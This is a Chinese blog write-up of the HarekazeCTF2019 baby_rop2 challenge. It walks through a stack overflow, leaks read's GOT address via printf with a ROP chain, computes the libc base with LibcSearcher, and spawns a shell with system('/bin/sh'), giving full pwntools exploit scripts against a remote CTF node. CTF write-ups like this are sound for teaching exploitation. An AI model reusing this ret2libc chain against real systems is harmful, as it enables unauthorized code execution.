关于printf函数泄露地址的libc题型

1 篇文章 0 订阅

题目来源:[HarekazeCTF2019]baby_rop2

拿到题目,运行一下,在检查一下它的架构和保护。

在这里插入图片描述

很明显,只有一次输入机会,并且是64位的架构,堆栈不可执行。

接下来,我们放入IDA查看一下源码。

在这里插入图片描述

可以看到很明显的栈溢出漏洞,read读入0X100字节大小的数据,但是该缓冲区只有0x28大小。所以可以在这进行栈溢出漏洞的操作。但是给我们的信息就这么多,我们找一下字符串吧

在这里插入图片描述

看来是没有/bin/sh 看来是我们自己找方法让他执行bin的调用吧。

接下来进行GDB调试吧。

在执行到read时,我们输入aaaaaaaaa,可以验证IDA里面的溢出字节是否正确,很明显IDA时正确的0x70 - 0x50 的字节,再加上8字节的覆盖到返回地址。

在这里插入图片描述

因为这道题,我们首先应该做的是泄露地址,泄露那个地址,我觉得可以是printf或者是read的地址都行,接下来我们就尝试一下吧。

我们在构建ROP链时,应该想我们需要怎样去泄露地址,才能达到我们所希望的程序执行,因为是64位的,我们需要一些 pop|ret 去放我们的参数,printf在执行打印格式化字符串时,有产生一个参数,然后我们还需要一个寄存器,来存放我们got表里所要的真实地址。

所以第一份payload用于泄露地址:

b'a'*28 + p64(pop_rdi) + p64(f_srt) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(prinf_plt) + p64(main_addr)

解释一下,这里P64(0)的意思就是给R15寄存器填充对应的参数,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0。 最后加个main函数,是我们返回到main函数,让程序走一遍,以便我们可以写入接下来的payload去控制程序流。

这下来,我们就去需要这些我们需要用到的值,由于ELF()自带可以寻找got plt symbols 所以这些我们就不用去寻找了。双击IDA,格式化字符串所在的位置,找到了他所对应的地址。

在这里插入图片描述

然后再去寻找gadget。
在这里插入图片描述

所以我们就找到,我们所用的gadget片段的地址了。

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./babyrop2')
#p = process('./babyrop2')
p = remote('node4.buuoj.cn',26128)

pop_rdi_ret = 0x0400733
pop_rsi_r15 = 0x0400731
f_str = 0x0400770
#read_got = elf.got['read']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']
payload = cyclic(0x28) + p64(pop_rdi_ret) + p64(f_str) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(printf_plt) + p64(main_addr)
p.recvuntil('name?')
p.sendline(payload)

#got_addr = u64(p.recv(6).ljust(8, b'\x00')) 这里不能这样执行,因为会得到前6个字节,而这前6个字节大概率不是我们想要的地址。
printf_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))#7f是地址的开头,因为参数是逆序入栈的。所以要接受到7f之前的前6个
print(hex(printf_addr))  #当我执行这一串时,会报错,不知道为什么,泄露不了printf函数的真实地址。

泄露printf函数无望,那么我们只能去泄露read函数的真实地址了。

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./babyrop2')
#p = process('./babyrop2')
p = remote('node4.buuoj.cn',26868)

pop_rdi_ret = 0x0400733
pop_rsi_r15 = 0x0400731
f_str = 0x0400770
#ret = 0x04004d1
read_got = elf.got['read']
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = elf.symbols['main']
payload = cyclic(0x28) + p64(pop_rdi_ret) + p64(f_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
#p.recvuntil('name?')
p.sendline(payload)

#read_addr = u64(p.recv(6).ljust(8, b'\x00'))
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(read_addr))

在这里插入图片描述

得到read的真实地址,接下来,就计算libc的基地址了。

libc = LibcSearcher('read', read_addr)
base = read_addr - libc.dump('read')
sys_addr = base + libc.dump('system')
str_bin_sh = base + libc.dump('str_bin_sh')
#base = read_addr - offect_base
#sys_addr = base + offect_sys
#str_bin_sh = base + offect_str

#p.recvuntil('name?')
payload1 = cyclic(0x28) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(sys_addr)

p.sendline(payload1)
p.interactive()

1-4代码块是使用python的一个库,去计算libc。

5-7则是使用网站libc_searcher,寻偏移计算公式。(但是很不幸,这里面并没有所需的libc
在这里插入图片描述

打通了,ls一下;

在这里插入图片描述

好像并没有flag,然后`find -name “flag”

在这里插入图片描述

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y_huanhuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值